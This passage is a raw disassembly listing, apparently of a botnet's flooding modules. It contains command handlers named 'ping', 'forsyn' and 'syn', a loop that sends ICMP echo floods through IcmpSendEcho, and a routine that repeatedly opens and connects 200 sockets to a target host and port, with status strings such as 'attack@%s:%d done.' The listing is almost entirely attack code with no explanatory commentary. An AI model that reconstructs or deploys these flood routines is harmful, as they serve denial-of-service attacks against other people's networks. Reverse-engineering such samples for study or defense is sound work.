; ---------------------------------------------------------------------------
lea ecx, [esp+20h]
mov [esp+40h], edi
call sub_401226
mov ecx, [esp+38h]
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 80h dup(0CCh)
; ---------------------------------------------------------------------------
loc_426EC0: ; CODE XREF: ___:loc_401B81j
push 0FFFFFFFFh
push offset loc_43C9C4
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 34h
push ebx
push ebp
push esi
mov esi, [esp+50h]
mov ebx, ecx
push edi
lea ebp, [esi+7Eh]
lea ecx, [ebx+60h]
mov [esp+54h], ebp
call sub_4014DD
push eax
mov ecx, ebp
call sub_4012EE
mov edi, dword_511B14
test eax, eax
jnz loc_427058
push 95h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+10h], eax
xor ebp, ebp
cmp eax, ebp
mov [esp+4Ch], ebp
jz short loc_426F2B
mov ecx, eax
call sub_401DF2
mov ebp, eax
loc_426F2B: ; CODE XREF: ___:00426F20j
push offset asc_444600 ; " "
lea eax, [esp+18h]
push 1
mov byte ptr [ebx+11Ch], 1
push eax
mov ecx, esi
mov dword ptr [esp+58h], 0FFFFFFFFh
mov [ebp+91h], ebx
call sub_4016B8
push eax
lea ecx, [ebp+3Bh]
mov dword ptr [esp+50h], 1
call sub_401FDC
lea ecx, [esp+14h]
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_444600 ; " "
lea ecx, [esp+18h]
push 2
push ecx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+4Ch], 2
call sub_4017EE
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+50h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_444600 ; " "
lea edx, [esp+18h]
push 3
push edx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+4Ch], 3
call sub_4017EE
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+54h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_444600 ; " "
lea eax, [esp+18h]
push 4
push eax
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+4Ch], 4
call sub_4017EE
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+58h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
lea ecx, [esi+69h]
push ecx
lea ecx, [ebp+26h]
call sub_401FDC
mov dl, [esi+93h]
mov ecx, ebp
mov [ebp+8Fh], dl
mov al, [esi+94h]
mov [ebp+90h], al
call sub_4013DE
mov ebp, [esp+54h]
loc_427058: ; CODE XREF: ___:00426F01j
lea ecx, [ebx+8Eh]
call sub_4014DD
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_4271CA
push 95h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+10h], eax
test eax, eax
mov dword ptr [esp+4Ch], 5
jz short loc_42709B
mov ecx, eax
call sub_401BDB
mov ebp, eax
jmp short loc_42709D
; ---------------------------------------------------------------------------
loc_42709B: ; CODE XREF: ___:0042708Ej
xor ebp, ebp
loc_42709D: ; CODE XREF: ___:00427099j
push offset asc_444600 ; " "
lea ecx, [esp+18h]
push 1
push ecx
mov byte ptr [ebx+11Ch], 1
mov ecx, esi
mov dword ptr [esp+58h], 0FFFFFFFFh
mov [ebp+91h], ebx
call sub_4016B8
push eax
lea ecx, [ebp+3Bh]
mov dword ptr [esp+50h], 6
call sub_401FDC
lea ecx, [esp+14h]
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_444600 ; " "
lea edx, [esp+18h]
push 2
push edx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+4Ch], 7
call sub_4017EE
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+50h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_444600 ; " "
lea eax, [esp+18h]
push 3
push eax
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+4Ch], 8
call sub_4017EE
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+54h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_444600 ; " "
lea ecx, [esp+18h]
push 4
push ecx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+4Ch], 9
call sub_4017EE
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+58h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
lea edx, [esi+69h]
lea ecx, [ebp+26h]
push edx
call sub_401FDC
mov al, [esi+93h]
mov [ebp+8Fh], al
mov cl, [esi+94h]
mov [ebp+90h], cl
mov ecx, ebp
call sub_4013DE
mov ebp, [esp+54h]
loc_4271CA: ; CODE XREF: ___:0042706Dj
lea ecx, [ebx+4]
call sub_4014DD
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_427339
push 95h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+10h], eax
test eax, eax
mov dword ptr [esp+4Ch], 0Ah
jz short loc_42720A
mov ecx, eax
call sub_40130C
mov ebp, eax
jmp short loc_42720C
; ---------------------------------------------------------------------------
loc_42720A: ; CODE XREF: ___:004271FDj
xor ebp, ebp
loc_42720C: ; CODE XREF: ___:00427208j
push offset asc_444600 ; " "
lea edx, [esp+18h]
push 1
mov byte ptr [ebx+11Ch], 1
push edx
mov ecx, esi
mov dword ptr [esp+58h], 0FFFFFFFFh
mov [ebp+91h], ebx
call sub_4016B8
push eax
lea ecx, [ebp+3Bh]
mov dword ptr [esp+50h], 0Bh
call sub_401FDC
lea ecx, [esp+14h]
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_444600 ; " "
lea eax, [esp+18h]
push 2
push eax
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+4Ch], 0Ch
call sub_4017EE
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+5Ch], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_444600 ; " "
lea ecx, [esp+18h]
push 3
push ecx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+4Ch], 0Dh
call sub_4017EE
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+60h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_444600 ; " "
lea edx, [esp+18h]
push 4
push edx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+4Ch], 0Eh
call sub_4017EE
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+54h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
lea eax, [esi+69h]
lea ecx, [ebp+26h]
push eax
call sub_401FDC
mov cl, [esi+93h]
mov [ebp+8Fh], cl
mov dl, [esi+94h]
mov ecx, ebp
mov [ebp+90h], dl
call sub_4013DE
mov ebp, [esp+54h]
loc_427339: ; CODE XREF: ___:004271DCj
lea ecx, [ebx+32h]
call sub_4014DD
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_4274E4
push 95h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+10h], eax
test eax, eax
mov dword ptr [esp+4Ch], 0Fh
jz short loc_427379
mov ecx, eax
call sub_40178F
mov ebp, eax
jmp short loc_42737B
; ---------------------------------------------------------------------------
loc_427379: ; CODE XREF: ___:0042736Cj
xor ebp, ebp
loc_42737B: ; CODE XREF: ___:00427377j
push offset asc_444600 ; " "
lea eax, [esp+18h]
push 1
mov byte ptr [ebx+11Ch], 1
push eax
mov ecx, esi
mov dword ptr [esp+58h], 0FFFFFFFFh
mov [ebp+91h], ebx
call sub_4016B8
push eax
lea ecx, [ebp+3Bh]
mov dword ptr [esp+50h], 10h
call sub_401FDC
lea ecx, [esp+14h]
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_444600 ; " "
lea ecx, [esp+18h]
push 2
push ecx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+4Ch], 11h
call sub_4017EE
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+5Ch], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_444600 ; " "
lea edx, [esp+18h]
push 3
push edx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+4Ch], 12h
call sub_4017EE
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+60h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_444600 ; " "
lea eax, [esp+18h]
push 4
push eax
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+4Ch], 13h
call sub_4017EE
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+54h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_444600 ; " "
lea ecx, [esp+30h]
push 5
push ecx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+4Ch], 14h
call sub_4017EE
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+2Ch]
mov [ebp+58h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
lea edx, [esi+69h]
lea ecx, [ebp+26h]
push edx
call sub_401FDC
mov al, [esi+93h]
mov [ebp+8Fh], al
mov cl, [esi+94h]
mov [ebp+90h], cl
mov ecx, ebp
call sub_4013DE
mov ebp, [esp+54h]
loc_4274E4: ; CODE XREF: ___:0042734Bj
lea ecx, [ebx+0EAh]
call sub_4014DD
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz short loc_427501
mov [ebx+11Ch], al
loc_427501: ; CODE XREF: ___:004274F9j
mov ecx, [esp+44h]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov large fs:0, ecx
add esp, 40h
retn 4
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 1A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4276C0 proc near ; CODE XREF: sub_401A78j
var_4 = dword ptr -4
push ecx
mov edx, dword_449A04
push esi
mov esi, ecx
mov eax, [esi+91h]
mov ecx, [eax+118h]
cmp edx, ecx
jl short loc_4276E1
inc ecx
mov [eax+118h], ecx
loc_4276E1: ; CODE XREF: sub_4276C0+18j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+8]
mov eax, [esi+91h]
mov [esp+8+var_4], esi
mov ecx, [eax+118h]
dec ecx
mov [eax+118h], ecx
lea ecx, [esp+8+var_4]
push ecx
mov ecx, offset byte_4E8E9B
call sub_40120D
sub_4276C0 endp
; ---------------------------------------------------------------------------
xor eax, eax
pop esi
pop ecx
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427740 proc near ; CODE XREF: sub_40130Cj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_427740
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401F9B
push offset aPing ; "ping"
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43F0DC
call sub_4015E1
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_427740 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4277B0 proc near ; CODE XREF: sub_401F9Bj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4277B0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401E88
lea ecx, [esi+11h]
mov [esp+14h+var_4], 0
call sub_40142E
lea ecx, [esi+26h]
mov byte ptr [esp+14h+var_4], 1
call sub_40142E
lea ecx, [esi+3Bh]
mov byte ptr [esp+14h+var_4], 2
call sub_40142E
lea ecx, [esi+64h]
mov byte ptr [esp+14h+var_4], 3
call sub_40142E
lea ecx, [esi+79h]
mov byte ptr [esp+14h+var_4], 4
call sub_40142E
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F0EC
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4277B0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427850 proc near ; CODE XREF: sub_4014CEj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_427850
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
mov dword ptr [esi], offset off_43F0EC
lea ecx, [esi+79h]
mov [esp+14h+var_4], 4
call sub_401226
lea ecx, [esi+64h]
mov byte ptr [esp+14h+var_4], 3
call sub_401226
lea ecx, [esi+3Bh]
mov byte ptr [esp+14h+var_4], 2
call sub_401226
lea ecx, [esi+26h]
mov byte ptr [esp+14h+var_4], 1
call sub_401226
lea ecx, [esi+11h]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_40204F
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_427850 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_427910: ; CODE XREF: ___:loc_4016DBj
; ___:0040219Ej
push esi
mov esi, ecx
call sub_4014CE
test byte ptr [esp+8], 1
jz short loc_427928
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_427928: ; CODE XREF: ___:0042791Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427940 proc near ; CODE XREF: sub_4011FEj ___:0040209Fj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_4020AE
test [esp+4+arg_0], 1
jz short loc_427958
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_427958: ; CODE XREF: sub_427940+Dj
mov eax, esi
pop esi
retn 4
sub_427940 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_427970 proc near ; CODE XREF: sub_4020AEj
jmp sub_4014CE
sub_427970 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427990 proc near ; CODE XREF: sub_401A50j
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_427990
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, [esi+54h]
mov ecx, [esi+60h]
mov edx, [esi+5Ch]
lea edi, [esi+3Bh]
push eax
push ecx
push edx
mov ecx, edi
lea ebx, [esi+11h]
lea ebp, [esi+26h]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4017EE
push eax
push offset aSSUtimesUbytes ; "%s: %s (%utimes/%ubytes/%dms)"
mov ecx, ebp
call sub_4014DD
mov cl, [esi+8Fh]
push eax
mov al, [esi+90h]
push eax
push ecx
push offset byte_4D8075
call sub_401857
add esp, 28h
lea ecx, [esp+34h+var_24]
call sub_40142E
mov edx, [esi+54h]
mov eax, [esi+60h]
mov ecx, [esi+5Ch]
push edx
push eax
push ecx
mov ecx, edi
mov [esp+40h+var_4], 0
call sub_4014DD
push eax
call sub_40183E
add esp, 10h
test eax, eax
jz short loc_427A54
mov edx, [esi+5Ch]
mov ecx, edi
push edx
call sub_4017EE
push eax
mov ecx, ebx
call sub_4017EE
push eax
lea eax, [esp+40h+var_24]
push offset aSFinishedFlood ; "[%s] Finished flooding %s %d Times"
push eax
call sub_40102D
add esp, 14h
jmp short loc_427A6E
; ---------------------------------------------------------------------------
loc_427A54: ; CODE XREF: sub_427990+9Aj
mov ecx, ebx
call sub_4017EE
push eax
lea ecx, [esp+38h+var_24]
push offset aSCannotSendPin ; "[%s] Cannot send pings - Doesn't have D"...
push ecx
call sub_40102D
add esp, 0Ch
loc_427A6E: ; CODE XREF: sub_427990+C2j
lea ecx, [esp+34h+var_24]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4014DD
mov dl, [esi+90h]
push eax
mov al, [esi+8Fh]
push edx
push eax
push offset byte_4D8075
call sub_401857
add esp, 14h
lea ecx, [esp+34h+var_24]
mov [esp+34h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+34h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 24h
retn
sub_427990 endp
; ---------------------------------------------------------------------------
db 90h
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427B10 proc near ; CODE XREF: sub_401E9Cj
var_1A = byte ptr -1Ah
var_18 = byte ptr -18h
arg_0 = byte ptr 4
arg_FFE0 = dword ptr 0FFE4h
arg_FFE4 = dword ptr 0FFE8h
arg_FFE8 = dword ptr 0FFECh
arg_FFEC = dword ptr 0FFF0h
mov eax, 0FFFCh
call sub_437B30
push esi
push edi
push offset aIcmp_dll ; "ICMP.DLL"
nop
call near ptr 27F088Ah
mov esi, eax
test esi, esi
jz short loc_427B7A
mov edi, dword_511918
push offset aIcmpcreatefile ; "IcmpCreateFile"
push esi
call edi
push offset aIcmpclosehandl ; "IcmpCloseHandle"
push esi
mov dword_51011C, eax
call edi
push offset aIcmpsendecho ; "IcmpSendEcho"
push esi
mov dword_510120, eax
call edi
mov ecx, dword_51011C
mov dword_510118, eax
test ecx, ecx
jz short loc_427B7A
mov edx, dword_510120
test edx, edx
jz short loc_427B7A
test eax, eax
jz short loc_427B7A
mov al, [esp+0Bh]
test al, al
jz short loc_427B85
loc_427B7A: ; CODE XREF: sub_427B10+1Bj
; sub_427B10+52j ...
pop edi
xor eax, eax
pop esi
add esp, 0FFFCh
retn
; ---------------------------------------------------------------------------
loc_427B85: ; CODE XREF: sub_427B10+68j
mov edx, [esp+24h+arg_FFE8]
mov eax, 0FFDCh
cmp edx, eax
jle short loc_427B9C
mov [esp+24h+arg_FFE8], eax
loc_427B9C: ; CODE XREF: sub_427B10+83j
push ebx
push ebp
mov ebp, [esp+2Ch+arg_FFEC]
cmp ebp, 1
jge short loc_427BAF
mov ebp, 1
loc_427BAF: ; CODE XREF: sub_427B10+98j
call ecx ; IcmpCreateFile
mov ebx, [esp+2Ch+arg_FFE4]
xor esi, esi
test ebx, ebx
mov edi, eax
jle short loc_427BF4
loc_427BC0: ; CODE XREF: sub_427B10+E2j
mov al, byte_4D84B9
test al, al
jz short loc_427BF4
mov ecx, [esp+2Ch+arg_FFE8]
push ebp
lea eax, [esp+30h+var_18]
push 1Ch
push eax
mov eax, [esp+38h+arg_FFE0]
push 0
lea edx, [esp+3Ch+arg_0]
push ecx
push edx
push eax
push edi
call dword_510118 ; IcmpSendEcho
inc esi
cmp esi, ebx
jl short loc_427BC0
loc_427BF4: ; CODE XREF: sub_427B10+AEj
; sub_427B10+B7j
push edi
call dword_510120 ; IcmpCloseHandle
pop ebp
pop ebx
pop edi
mov eax, 1
pop esi
add esp, 0FFFCh
retn
sub_427B10 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427C50 proc near ; CODE XREF: sub_40183Ej
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_0]
push eax
call sub_40188E
mov ecx, [esp+4+arg_C]
mov edx, [esp+4+arg_8]
push ecx
mov ecx, [esp+8+arg_4]
push edx
push ecx
push eax
call sub_401E9C
add esp, 14h
retn
sub_427C50 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427C90 proc near ; CODE XREF: sub_401BDBj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_427C90
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401F9B
push offset aForsyn ; "forsyn"
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset nullsub_10
call sub_4015E1
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_427C90 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_427D00: ; CODE XREF: ___:00401A28j
; ___:00401AC3j
push esi
mov esi, ecx
call sub_401807
test byte ptr [esp+8], 1
jz short loc_427D18
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_427D18: ; CODE XREF: ___:00427D0Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_427D30 proc near ; CODE XREF: sub_401807j
jmp sub_4014CE
sub_427D30 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427D50 proc near ; CODE XREF: sub_401366j
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_1C = dword ptr -1Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_427D50
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
mov ebx, ecx
xor eax, eax
mov ecx, offset byte_4E7D8F
mov [esp+2Ch+var_28], eax
loc_427D76: ; CODE XREF: sub_427D50+35j
cmp dword ptr [ecx], 0
jz short loc_427D87
add ecx, 78h
inc eax
cmp ecx, offset byte_4E86EF
jl short loc_427D76
loc_427D87: ; CODE XREF: sub_427D50+29j
cmp eax, 13h
mov [esp+2Ch+var_28], eax
jg loc_427F39
lea eax, [eax+eax*2]
push ebp
push esi
push edi
lea eax, [eax+eax*4]
lea ecx, [ebx+3Bh]
lea ebp, ds:4E7D1Bh[eax*8]
call sub_4017EE
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov cx, [ebx+58h]
push ecx
nop
call near ptr 71AB2B66h
and eax, 0FFFFh
mov [ebp+64h], eax
mov eax, [ebx+54h]
cmp eax, 5
mov [ebp+68h], eax
jge short loc_427DF0
mov dword ptr [ebp+68h], 5
loc_427DF0: ; CODE XREF: sub_427D50+97j
mov edx, [ebx+50h]
mov ecx, 80h
xor eax, eax
mov edi, offset dword_510128
mov [ebp+6Ch], edx
lea esi, [ebx+11h]
rep stosd
mov eax, [ebx+50h]
mov ecx, [ebx+58h]
push eax
push ecx
lea ecx, [ebx+3Bh]
lea edi, [ebx+26h]
call sub_4017EE
push eax
mov ecx, esi
call sub_4017EE
push eax
push offset aSSUDseconds ; "%s: %s:%u (%dseconds)"
mov ecx, edi
call sub_4014DD
mov dl, [ebx+90h]
push eax
mov al, [ebx+8Fh]
push edx
push eax
push offset byte_4D8075
call sub_401857
mov ecx, [esp+50h+var_1C]
add esp, 24h
push offset dword_510328
push 0
push ecx
push offset sub_4012C1
push 0
push 0
nop
call near ptr 27A0000h
test eax, eax
mov dword_51032C, eax
jz short loc_427E8B
push offset dword_448F34
push 5
push eax
push 0
push offset dword_510128
call sub_4013F2
add esp, 14h
mov [ebp+70h], eax
jmp short loc_427EBB
; ---------------------------------------------------------------------------
loc_427E8B: ; CODE XREF: sub_427D50+11Dj
mov ecx, esi
call sub_4017EE
push eax
push offset aSErrorCreating ; "%s: error creating threads"
mov ecx, edi
call sub_4014DD
mov dl, [ebx+90h]
push eax
mov al, [ebx+8Fh]
push edx
push eax
push offset byte_4D8075
call sub_401857
add esp, 18h
loc_427EBB: ; CODE XREF: sub_427D50+139j
lea ecx, [esp+38h+var_24]
call sub_40142E
mov ecx, [ebx+58h]
mov [esp+38h+var_4], 0
push ecx
lea ecx, [ebx+3Bh]
call sub_4017EE
push eax
mov ecx, esi
call sub_4017EE
push eax
lea edx, [esp+44h+var_24]
push offset aSAttack@SDDone ; "%s: attack@%s:%d done."
push edx
call sub_40102D
add esp, 14h
lea ecx, [esp+38h+var_24]
call sub_4017EE
push eax
push offset aS ; "%s"
mov ecx, edi
call sub_4014DD
mov cl, [ebx+8Fh]
push eax
mov al, [ebx+90h]
push eax
push ecx
push offset byte_4D8075
call sub_401857
add esp, 18h
lea ecx, [esp+38h+var_24]
mov [esp+38h+var_4], 0FFFFFFFFh
call sub_401226
pop edi
pop esi
pop ebp
loc_427F39: ; CODE XREF: sub_427D50+3Ej
mov ecx, [esp+2Ch+var_C]
pop ebx
mov large fs:0, ecx
add esp, 28h
retn
sub_427D50 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427FD0 proc near ; CODE XREF: sub_4012C1j
var_338 = dword ptr -338h
var_334 = dword ptr -334h
var_330 = dword ptr -330h
var_32C = dword ptr -32Ch
var_328 = dword ptr -328h
var_324 = dword ptr -324h
var_320 = byte ptr -320h
arg_0 = dword ptr 4
sub esp, 338h
mov eax, [esp+338h+arg_0]
push ebp
push esi
mov esi, 1
lea eax, [eax+eax*2]
lea eax, [eax+eax*4]
lea ebp, ds:4E7D1Bh[eax*8]
xor eax, eax
mov [esp+340h+var_334], eax
mov word ptr [esp+340h+var_334], 2
mov [ebp+74h], esi
mov cx, [ebp+64h]
mov [esp+340h+var_330], eax
push ecx
mov [esp+344h+var_32C], eax
mov [esp+344h+var_328], eax
nop
call near ptr 71AB2B66h
push ebp
mov [esp+344h+var_324], esi
mov word ptr [esp+344h+var_334+2], ax
nop
call near ptr 71AB2BF4h
cmp eax, 0FFFFFFFFh
jnz short loc_428066
push ebp
nop
call near ptr 71AB4FD4h
xor edx, edx
cmp eax, edx
jnz short loc_42805F
mov [ebp+74h], edx
mov ecx, [ebp+70h]
pop esi
pop ebp
lea eax, [ecx+ecx*4]
shl eax, 4
sub eax, ecx
lea eax, [eax+eax*4]
mov dword_4D8735[eax*2], edx
xor eax, eax
add esp, 338h
retn 4
; ---------------------------------------------------------------------------
loc_42805F: ; CODE XREF: sub_427FD0+68j
mov ecx, [eax+0Ch]
mov edx, [ecx]
mov eax, [edx]
loc_428066: ; CODE XREF: sub_427FD0+5Bj
mov [esp+340h+var_330], eax
mov eax, [ebp+6Ch]
push ebx
push edi
test eax, eax
mov [esp+348h+var_338], 0
jle loc_428116
mov ebx, dword_511C3C
loc_428085: ; CODE XREF: sub_427FD0+140j
mov al, byte_4D84B9
test al, al
jz loc_428116
lea esi, [esp+348h+var_320]
mov edi, 0C8h
loc_42809B: ; CODE XREF: sub_427FD0+EFj
push 0
push 1
push 2
call ebx ; socket
cmp eax, 0FFFFFFFFh
mov [esi], eax
jz short loc_4280BB
lea ecx, [esp+348h+var_324]
push ecx
push 8004667Eh
push eax
nop
call near ptr 71AB4519h
loc_4280BB: ; CODE XREF: sub_427FD0+D8j
add esi, 4
dec edi
jnz short loc_42809B
lea esi, [esp+348h+var_320]
mov edi, 0C8h
loc_4280CA: ; CODE XREF: sub_427FD0+10Ej
mov eax, [esi]
lea edx, [esp+348h+var_334]
push 10h
push edx
push eax
nop
call near ptr 71AB406Ah
add esi, 4
dec edi
jnz short loc_4280CA
mov ecx, [ebp+68h]
push ecx
nop
call near ptr 2850369h
lea esi, [esp+348h+var_320]
mov edi, 0C8h
loc_4280F3: ; CODE XREF: sub_427FD0+130j
mov edx, [esi]
push edx
call near ptr 71AB9639h
nop
add esi, 4
dec edi
jnz short loc_4280F3
mov eax, [esp+348h+var_338]
mov ecx, [ebp+6Ch]
inc eax
cmp eax, ecx
mov [esp+348h+var_338], eax
jl loc_428085
loc_428116: ; CODE XREF: sub_427FD0+A9j
; sub_427FD0+BCj
xor edx, edx
pop edi
mov [ebp+74h], edx
mov ecx, [ebp+70h]
pop ebx
pop esi
lea eax, [ecx+ecx*4]
pop ebp
shl eax, 4
sub eax, ecx
lea eax, [eax+eax*4]
mov dword_4D8735[eax*2], edx
xor eax, eax
add esp, 338h
retn 4
sub_427FD0 endp
; ---------------------------------------------------------------------------
db 90h
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4281A0 proc near ; CODE XREF: sub_401DF2j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4281A0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401F9B
push offset aSyn ; "syn"
